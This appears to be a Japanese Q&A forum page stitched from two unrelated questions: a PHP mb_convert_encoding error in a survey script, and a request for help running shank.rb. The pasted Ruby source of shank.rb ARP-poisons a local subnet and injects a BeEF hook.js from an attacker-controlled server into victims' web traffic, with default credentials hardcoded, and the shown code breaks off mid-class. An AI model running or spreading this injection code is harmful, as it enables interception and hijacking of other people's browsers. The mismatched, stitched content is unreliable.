PHPスクリプトでエンコードエラー
(http://c-php.mine.nu/)で配布されている「貼り付けアンケート」を設置したところ、以下のようなエラーが出ました。
Warning: mb_convert_encoding(): Illegal character encoding specified in /home/toraya-c/public_html/harituke/harituke.php on line 94
Warning: mb_convert_encoding(): Illegal character encoding specified in /home/toraya-c/public_html/harituke/harituke.php on line 95
Warning: mb_convert_encoding(): Illegal character encoding specified in /home/toraya-c/public_html/harituke/harituke.php on line 96
Fatal error: Call to undefined function: mb_check_encoding() in /home/toraya-c/public_html/harituke/harituke.php on line 140
エンコードがうまくいってないようなのですが。。
指定の行数の記述は以下です。
$title = mb_convert_encoding($title,'EUC-JP',$en);
$body = mb_convert_encoding($body,'EUC-JP',$en);
$quest = mb_convert_encoding($quest,'EUC-JP',$en);
if(!mb_check_encoding($body,'EUC-JP') || mb_check_encoding($body,'ASCII')){
配布されているものを特に変えず(設定部分以外)、そのままupしたつもりですが、エラーの原因がわかりません。
当方、php初心者なので的外れな質問でしたら申し訳ございませんが、よろしくお願いします。
お礼
1. 何のプログラムを使っていて、 BeEFというXSS検証ツールなんですが、それに対応しているツールです。 このツールを使用すると、Webトラフィックがローカルサブネットを通過する際に、BeEFの最初の制御コードが自動的に挿入されます。 2. 何をしようとしたときに、 shank.rbというスクリプトを実行したときに 3. どういう症状が出て、 errorが出て 4. どういう風に困っているのか、 スクリプトが実行できない。 ご教示よろしくお願いします。
補足
#!/usr/bin/env ruby # shank.rb - Script to autolaunch BeEF modules # Created by Ryan Linn and Steve Ocepek # Copyright (C) 2012 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # HTTP parsing require 'pp' require 'packetfu' require 'ipaddr' require 'thread' require 'rest_client' require 'json' require 'optparse' options = {} ARP_TIMEOUT = 30 @beef_ip = '10.0.2.15' @beef_user = 'beef' @beef_pass = 'beef' @injection = "http://#{@beef_ip}:3000/hook.js" @beef_hooks = "http://#{@beef_ip}:3000/api/hooks" @beef_admin = "http://#{@beef_ip}:3000/api/admin" optparse = OptionParser.new do |opts| opts.banner = "Usage: shank.rb [options] CIDR" options[:debug] = false opts.on( '-d', '--debug', 'Pring debug output' ) do options[:debug] = true end opts.on( '-U', '--url URL ', 'The base URL for BeEF' ) do|url| @injection = "#{url}/hook.js" @beef_hooks = "#{url}/hooks" @beef_admin = "#{url}/api/admin" end opts.on( '-u', '--user USER', 'The BeEF Username' ) do|user| @beef_user = user end opts.on( '-p', '--pass PASS', 'The BeEF Password' ) do|pass| @beef_pass = pass end opts.on( '-h', '--help', 'Display this screen' ) do puts opts exit end end optparse.parse! #require 'perftools' #PerfTools::CpuProfiler.start("/tmp/shank_prof2") #at_exit do # PerfTools::CpuProfiler.stop #end def rand_chars(len) (0...len).map{65.+(rand(25)).chr}.join end # Acts as an ARP Cache. Yay! class ARPCache include Enumerable def initialize(timeout = ARP_TIMEOUT) @mutex = Mutex.new @timeout = timeout @cache = {} end # @param [String] ipaddr # @param [String] mac def update(ipaddr, mac) # Make sure we sync things up when updating. @mutex.synchronize do @cache[ipaddr] = ARPEntry.new(ipaddr, mac, Time.now + @timeout) end end # Prunes off expired cache entries def prune() # Since we are deleting things, make sure we sync this up. @mutex.synchronize do @cache.delete_if {|ipaddr, arp_entry| arp_entry.expired?} end end def each @cache.each_value do |arp_entry| yield(arp_entry) end end # Resolves an IP address into a MAC address # @param [String] ipaddr # @return [ARPEntry, nil] returns a cached entry, if it exists def resolve(ipaddr) # Don't bother synchronizing this. The object is static, once returned. # If it happened to get deleted after we retrieve it, no big deal. @cache[ipaddr] end end class ARPEntry attr_reader :ip, :mac def initialize(ip, mac, expiry) @ip = ip @mac = mac @expiry = expiry end def mac_raw() @mac.split(":").map {|x| x.to_i(16)}.pack("cccccc") end def expired? Time.now > @expiry end def to_s "#{@ip} : #{@mac}" end end class Shank attr_reader :ip, :ipr, :packetfu_conf, :arp_cache, :interface # @param [String] ip The ip address or range that you want to poison # @param [String] interface (eth0) The interface to poison through def initialize(ip, interface = "eth0") @inject_queue = Queue.new @ip = IPAddr.new(ip) @ipr = @ip.to_range @arp_cache = ARPCache.new @interface = interface # Not sure about this being the best way to do this stuff. @packetfu_conf = PacketFu::Config.new(PacketFu::Utils.whoami?(:iface => @interface)).config @inject = Pcap.open_live(@interface,0xffff,false,1)